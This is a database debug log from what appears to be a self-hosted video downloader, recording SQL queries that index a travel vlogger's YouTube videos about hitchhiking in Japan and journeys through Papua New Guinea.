~U[2026-05-29 14:56:32Z]] 19:30:27.418 [debug] QUERY OK source="sources" db=0.1ms idle=3.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 19:30:27.418 [debug] QUERY OK source="media_items" db=0.2ms idle=2.4ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-22 16:10:43Z], 3] 19:30:27.419 [debug] QUERY OK source="media_items" db=0.7ms idle=2.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["https://try.airalo.com/mikeokay - Download Airalo Here and Get $3 off Your First ESIM! Use Code - MIKE\n\nJapan's Fugu fish spent most of it commercial existence being totally illegal. And that because, if prepared incorrectly, it will slowly kill you if eaten. Let's go eat it.\n\nJoin me as I hitchhike 250km through western Honshu. Cheeseburgers. Fighter jets. 300 million year old limestone plateaus. To reach Shimonoseki to learn about and POSSIBLY eat... The World's Most Poisonous Fish... \n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://youtu.be/oiGyXylltRE \n\nhttps://youtu.be/bBxtc-Tskto\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/ \n\n#japan #fugu #hitchhiking #travel", "Travelling Across Japan To Poison Myself", "75056e7c-d5be-4c11-82c3-4931e2976d37", "bjb-24XMa1g", 2331, false, "https://www.youtube.com/watch?v=bjb-24XMa1g", 7, "/downloads/shows/Mike Okay/Season 2026/s2026e052200 - Travelling Across Japan To Poison Myself.mp4", false, false, false, 3, [], 98, ~U[2026-05-22 16:10:43Z], ~U[2026-08-20 02:30:27Z], ~U[2026-08-20 02:30:27Z], "https://try.airalo.com/mikeokay - Download Airalo Here and Get $3 off Your First ESIM! Use Code - MIKE\n\nJapan's Fugu fish spent most of it commercial existence being totally illegal. And that because, if prepared incorrectly, it will slowly kill you if eaten. Let's go eat it.\n\nJoin me as I hitchhike 250km through western Honshu. Cheeseburgers. Fighter jets. 300 million year old limestone plateaus. To reach Shimonoseki to learn about and POSSIBLY eat... The World's Most Poisonous Fish... \n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://youtu.be/oiGyXylltRE \n\nhttps://youtu.be/bBxtc-Tskto\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/ \n\n#japan #fugu #hitchhiking #travel", "Travelling Across Japan To Poison Myself", "bjb-24XMa1g", 2331, false, "https://www.youtube.com/watch?v=bjb-24XMa1g", "/downloads/shows/Mike Okay/Season 2026/s2026e052200 - Travelling Across Japan To Poison Myself.mp4", false, 3, ~U[2026-05-22 16:10:43Z]] 19:30:27.420 [debug] QUERY OK source="sources" db=0.1ms idle=3.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 19:30:27.420 [debug] QUERY OK source="media_items" db=0.2ms idle=2.5ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-04-24 14:29:43Z], 3] 19:30:27.422 [debug] QUERY OK source="media_items" db=1.0ms idle=2.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Right. You gotta be patient with me on this one. I'm trying to make a point and I spend half the trip figuring out how to make that point. Basically many shrines and traditions in Japan need to destroy and rebuild in order to survive. Something like that. It's a pretty vague link. But i think i achieve it. Watch till the end to find out! That's called retention. You have to watch the whole video in order to get what's called a payout. Payout or payoff? I can't remember. Anyway here's an SEO optimised description I got AI to write for to put here somewhere: \n\nJapan has survived for over 2,000 years — but how? I travel to Japan's sacred Ise-Shima Peninsula to find the answer, and what I discover changes the way I see the whole country. From the ancient Ise Jingu shrine — rebuilt from scratch every 20 years for over a millennium — to the Ama divers of Osatsu, women who have been free diving to the bottom of the sea on a single breath for 2,000 years, this video explores what it really means to survive. I camp overnight at the sacred Meoto Iwa — the wedded rocks — to catch the sunrise between them at dawn, and sit down to eat with Japan's last generation of sea women in a traditional Ama hut. Two ancient traditions, both 2,000 years old. One figured out how to last forever. The other is almost gone. If you're interested in Japan travel, Japanese mythology, Japanese culture, hidden Japan, Ise Jingu shrine, Ama divers, Ise-Shima, rural Japan, Japan off the beaten path, or the side of Japan that social media never shows you — this video is for you. Part 2 of my Japan hitchhiking series.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://youtu.be/oiGyXylltRE \n\nhttps://youtu.be/bBxtc-Tskto\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/", "Japan Is Losing Something It Can Never Get Back", "6f8c7be8-77a5-49a5-828b-e6deae0963b3", "CvIFRZqadIU", 2112, false, "https://www.youtube.com/watch?v=CvIFRZqadIU", 8, "/downloads/shows/Mike Okay/Season 2026/s2026e042400 - Japan Is Losing Something It Can Never Get Back.mp4", false, false, false, 3, [], 98, ~U[2026-04-24 14:29:43Z], ~U[2026-08-20 02:30:27Z], ~U[2026-08-20 02:30:27Z], "Right. You gotta be patient with me on this one. I'm trying to make a point and I spend half the trip figuring out how to make that point. Basically many shrines and traditions in Japan need to destroy and rebuild in order to survive. Something like that. It's a pretty vague link. But i think i achieve it. Watch till the end to find out! That's called retention. You have to watch the whole video in order to get what's called a payout. Payout or payoff? I can't remember. Anyway here's an SEO optimised description I got AI to write for to put here somewhere: \n\nJapan has survived for over 2,000 years — but how? I travel to Japan's sacred Ise-Shima Peninsula to find the answer, and what I discover changes the way I see the whole country. From the ancient Ise Jingu shrine — rebuilt from scratch every 20 years for over a millennium — to the Ama divers of Osatsu, women who have been free diving to the bottom of the sea on a single breath for 2,000 years, this video explores what it really means to survive. I camp overnight at the sacred Meoto Iwa — the wedded rocks — to catch the sunrise between them at dawn, and sit down to eat with Japan's last generation of sea women in a traditional Ama hut. Two ancient traditions, both 2,000 years old. One figured out how to last forever. The other is almost gone. If you're interested in Japan travel, Japanese mythology, Japanese culture, hidden Japan, Ise Jingu shrine, Ama divers, Ise-Shima, rural Japan, Japan off the beaten path, or the side of Japan that social media never shows you — this video is for you. Part 2 of my Japan hitchhiking series.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://youtu.be/oiGyXylltRE \n\nhttps://youtu.be/bBxtc-Tskto\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/", "Japan Is Losing Something It Can Never Get Back", "CvIFRZqadIU", 2112, false, "https://www.youtube.com/watch?v=CvIFRZqadIU", "/downloads/shows/Mike Okay/Season 2026/s2026e042400 - Japan Is Losing Something It Can Never Get Back.mp4", false, 3, ~U[2026-04-24 14:29:43Z]] 19:30:27.422 [debug] QUERY OK source="sources" db=0.1ms idle=3.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 19:30:27.422 [debug] QUERY OK source="media_items" db=0.2ms idle=2.8ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-04-10 16:12:23Z], 3] 19:30:27.424 [debug] QUERY OK source="media_items" db=0.9ms idle=2.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Go to my sponsor https://betterhelp.com/mikeokay to get 10% off your first month of therapy and join the millions of people taking steps to improve their mental health.\n\nOnce again we delve into the lesser explored side of a new country and this time we're in JAPAAAAAAAN. This was my first time visiting Japan. It wasn't as Japanese as I thought it was going to be. Does that make sense. Anyway. What was I talking about? Ah yes. Japan. Heres an AI written description that is supposed to be good for SEO or something. It's got Japan written into it like 200 time. Japan Japan Japan. We get it! \n\nI left Tokyo with nothing but a backpack and a cardboard sign, hitchhiking along Japan's lesser-known Pacific coastline in search of the real Japan that social media never shows you. From the hidden tea plantations of Makinohara — where unemployed samurai became farmers after Japan's Meiji Revolution — to the beaches, backroads, and local izakayas that tourists never reach, this is rural Japan completely off the beaten path. But the biggest surprise? Deep in the Japanese city of Hamamatsu lies a community of 25,000 Brazilians — one of the largest outside of Brazil itself — who came to work Japan's factories and never left. This is Japan like you've never seen it: raw, unexpected, and completely unfiltered. If you're interested in Japan travel, Japanese culture, hidden Japan, rural Japan, Japan off the beaten path, hitchhiking Japan, or simply the side of Japan that doesn't exist on Instagram — this video is for you. Part 1 of my Japan hitchhiking series.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/", "The Japan The Algorithm Is Hiding From You", "5ea6a1b7-09b1-441b-9b4b-4b2ad514bc62", "zrYwOAJrViI", 2747, false, "https://www.youtube.com/watch?v=zrYwOAJrViI", 9, "/downloads/shows/Mike Okay/Season 2026/s2026e041000 - The Japan The Algorithm Is Hiding From You.mp4", false, false, false, 3, [], 98, ~U[2026-04-10 16:12:23Z], ~U[2026-08-20 02:30:27Z], ~U[2026-08-20 02:30:27Z], "Go to my sponsor https://betterhelp.com/mikeokay to get 10% off your first month of therapy and join the millions of people taking steps to improve their mental health.\n\nOnce again we delve into the lesser explored side of a new country and this time we're in JAPAAAAAAAN. This was my first time visiting Japan. It wasn't as Japanese as I thought it was going to be. Does that make sense. Anyway. What was I talking about? Ah yes. Japan. Heres an AI written description that is supposed to be good for SEO or something. It's got Japan written into it like 200 time. Japan Japan Japan. We get it! \n\nI left Tokyo with nothing but a backpack and a cardboard sign, hitchhiking along Japan's lesser-known Pacific coastline in search of the real Japan that social media never shows you. From the hidden tea plantations of Makinohara — where unemployed samurai became farmers after Japan's Meiji Revolution — to the beaches, backroads, and local izakayas that tourists never reach, this is rural Japan completely off the beaten path. But the biggest surprise? Deep in the Japanese city of Hamamatsu lies a community of 25,000 Brazilians — one of the largest outside of Brazil itself — who came to work Japan's factories and never left. This is Japan like you've never seen it: raw, unexpected, and completely unfiltered. If you're interested in Japan travel, Japanese culture, hidden Japan, rural Japan, Japan off the beaten path, hitchhiking Japan, or simply the side of Japan that doesn't exist on Instagram — this video is for you. Part 1 of my Japan hitchhiking series.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/", "The Japan The Algorithm Is Hiding From You", "zrYwOAJrViI", 2747, false, "https://www.youtube.com/watch?v=zrYwOAJrViI", "/downloads/shows/Mike Okay/Season 2026/s2026e041000 - The Japan The Algorithm Is Hiding From You.mp4", false, 3, ~U[2026-04-10 16:12:23Z]] 19:30:27.424 [debug] QUERY OK source="sources" db=0.1ms idle=3.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 19:30:27.424 [debug] QUERY OK source="media_items" db=0.2ms idle=2.8ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-03-27 20:18:27Z], 3] 19:30:27.425 [debug] QUERY OK source="media_items" db=0.6ms idle=2.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["https://try.airalo.com/mikeokay - Download Airalo Here and Get $3 off Your First ESIM! Use Code - MIKE\n\nI very very rarely s*it my pants. This was one of those times. Please enjoy the last of the Papua New Guinea Series.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n#papuanewguinea #vlog #travel", "How To Get Robbed By Machete-Wielding Road Bandits", "2a215f73-7ce9-4dd3-9a96-70c7aff7c199", "RZ925LRWI0M", 2836, false, "https://www.youtube.com/watch?v=RZ925LRWI0M", 10, "/downloads/shows/Mike Okay/Season 2026/s2026e032700 - How To Get Robbed By Machete-Wielding Road Bandits.mp4", false, false, false, 3, [], 98, ~U[2026-03-27 20:18:27Z], ~U[2026-08-20 02:30:27Z], ~U[2026-08-20 02:30:27Z], "https://try.airalo.com/mikeokay - Download Airalo Here and Get $3 off Your First ESIM! Use Code - MIKE\n\nI very very rarely s*it my pants. This was one of those times. Please enjoy the last of the Papua New Guinea Series.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n#papuanewguinea #vlog #travel", "How To Get Robbed By Machete-Wielding Road Bandits", "RZ925LRWI0M", 2836, false, "https://www.youtube.com/watch?v=RZ925LRWI0M", "/downloads/shows/Mike Okay/Season 2026/s2026e032700 - How To Get Robbed By Machete-Wielding Road Bandits.mp4", false, 3, ~U[2026-03-27 20:18:27Z]] 19:30:27.426 [debug] QUERY OK source="sources" db=0.1ms idle=3.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 19:30:27.426 [debug] QUERY OK source="media_items" db=0.2ms idle=2.3ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-03-13 17:17:03Z], 3] 19:30:27.427 [debug] QUERY OK source="media_items" db=0.6ms idle=2.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["At the port in Wewak, hundreds of passengers were waiting to board one of Papua New Guinea’s coastal ships, one of the only affordable ways to travel between remote towns. With no guarantee of getting on, I waited until the very last moment… and somehow managed to secure a spot.\n\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n#papuanewguinea #vlog #travel", "I Survived 24 Hours on Papua New Guinea’s Wildest Ship", "78d4801f-ba48-423f-a1a7-3e5c33954fb6", "Xt-ikXQ-UxE", 1815, false, "https://www.youtube.com/watch?v=Xt-ikXQ-UxE", 11, "/downloads/shows/Mike Okay/Season 2026/s2026e031300 - I Survived 24 Hours on Papua New Guinea’s Wildest Ship.mp4", false, false, false, 3, [], 98, ~U[2026-03-13 17:17:03Z], ~U[2026-08-20 02:30:27Z], ~U[2026-08-20 02:30:27Z], "At the port in Wewak, hundreds of passengers were waiting to board one of Papua New Guinea’s coastal ships, one of the only affordable ways to travel between remote towns. With no guarantee of getting on, I waited until the very last moment… and somehow managed to secure a spot.\n\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n#papuanewguinea #vlog #travel", "I Survived 24 Hours on Papua New Guinea’s Wildest Ship", "Xt-ikXQ-UxE", 1815, false, "https://www.youtube.com/watch?v=Xt-ikXQ-UxE", "/downloads/shows/Mike Okay/Season 2026/s2026e031300 - I Survived 24 Hours on Papua New Guinea’s Wildest Ship.mp4", false, 3, ~U[2026-03-13 17:17:03Z]] 19:30:27.427 [debug] QUERY OK source="sources" db=0.1ms idle=2.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 19:30:27.428 [debug] QUERY OK source="media_items" db=0.1ms idle=2.2ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-03-06 15:05:17Z], 3] 19:30:27.429 [debug] QUERY OK source="media_items" db=0.6ms idle=2.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Thank you to The Papua New Guinea History Project for providing some of the music in this video:\n\nhttps://youtu.be/Gv7MW6IsKnE?si=w8AVgQCWGte3lPpc\n\n\nI travelled along Papua New Guinea's isolated coastline, a place where the jungle still hides relics from World War II. During the war, more than 100,000 Japanese soldiers were stationed in Papua New Guinea, and some of the fiercest fighting of the Pacific campaign took place along this very coast.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n#papuanewguinea #vlog #travel", "I've Never Travelled Somewhere Like This (Remote PNG)", "60db41b3-9c70-4654-87db-4440d895b519", "xNeD65kGXlU", 2626, false, "https://www.youtube.com/watch?v=xNeD65kGXlU", 12, "/downloads/shows/Mike Okay/Season 2026/s2026e030600 - I've Never Travelled Somewhere Like This (Remote PNG).mp4", false, false, false, 3, [], 98, ~U[2026-03-06 15:05:17Z], ~U[2026-08-20 02:30:27Z], ~U[2026-08-20 02:30:27Z], "Thank you to The Papua New Guinea History Project for providing some of the music in this video:\n\nhttps://youtu.be/Gv7MW6IsKnE?si=w8AVgQCWGte3lPpc\n\n\nI travelled along Papua New Guinea's isolated coastline, a place where the jungle still hides relics from World War II. During the war, more than 100,000 Japanese soldiers were stationed in Papua New Guinea, and some of the fiercest fighting of the Pacific campaign took place along this very coast.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n#papuanewguinea #vlog #travel", "I've Never Travelled Somewhere Like This (Remote PNG)", "xNeD65kGXlU", 2626, false, "https://www.youtube.com/watch?v=xNeD65kGXlU", "/downloads/shows/Mike Okay/Season 2026/s2026e030600 - I've Never Travelled Somewhere Like This (Remote PNG).mp4", false, 3, ~U[2026-03-06 15:05:17Z]] 19:30:27.429 [debug] QUERY OK source="sources" db=0.1ms idle=2.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 19:30:27.430 [debug] QUERY OK source="media_items" db=0.2ms idle=2.2ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-02-27 15:04:44Z], 3] 19:30:27.431 [debug] QUERY OK source="media_items" db=0.7ms idle=2.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Not a lot can prepare you for Papua New Guinea. Especially when you enter the country overland from Indonesia with absolutely no plan.\n\nIn this video, I cross the Indonesia–Papua New Guinea border alone and head to Vanimo, my first stop inside PNG. With zero itinerary and no idea what to expect, I dive straight into life on the ground from smashing beers and betel nut to navigating unpredictable first encounters in a town that doesn’t slow down for anyone.\n\nThis is my first day in Papua New Guinea, and it didn’t go the way I imagined.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n#papuanewguinea #vlog #travel", "Entering Papua New Guinea Alone in 2026", "d957b36e-23de-4520-8208-1e839a5fd3ce", "sVlpZ6zLXh4", 1993, false, "https://www.youtube.com/watch?v=sVlpZ6zLXh4", 13, "/downloads/shows/Mike Okay/Season 2026/s2026e022700 - Entering Papua New Guinea Alone in 2026.mp4", false, false, false, 3, [], 98, ~U[2026-02-27 15:04:44Z], ~U[2026-08-20 02:30:27Z], ~U[2026-08-20 02:30:27Z], "Not a lot can prepare you for Papua New Guinea. Especially when you enter the country overland from Indonesia with absolutely no plan.\n\nIn this video, I cross the Indonesia–Papua New Guinea border alone and head to Vanimo, my first stop inside PNG. With zero itinerary and no idea what to expect, I dive straight into life on the ground from smashing beers and betel nut to navigating unpredictable first encounters in a town that doesn’t slow down for anyone.\n\nThis is my first day in Papua New Guinea, and it didn’t go the way I imagined.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n#papuanewguinea #vlog #travel", "Entering Papua New Guinea Alone in 2026", "sVlpZ6zLXh4", 1993, false, "https://www.youtube.com/watch?v=sVlpZ6zLXh4", "/downloads/shows/Mike Okay/Season 2026/s2026e022700 - Entering Papua New Guinea Alone in 2026.mp4", false, 3, ~U[2026-02-27 15:04:44Z]] 19:30:27.431 [debug] QUERY OK source="sources" db=0.1ms idle=2.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 19:30:27.431 [debug] QUERY OK source="media_items" db=0.2ms idle=2.3ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-01-31 14:53:48Z], 3] 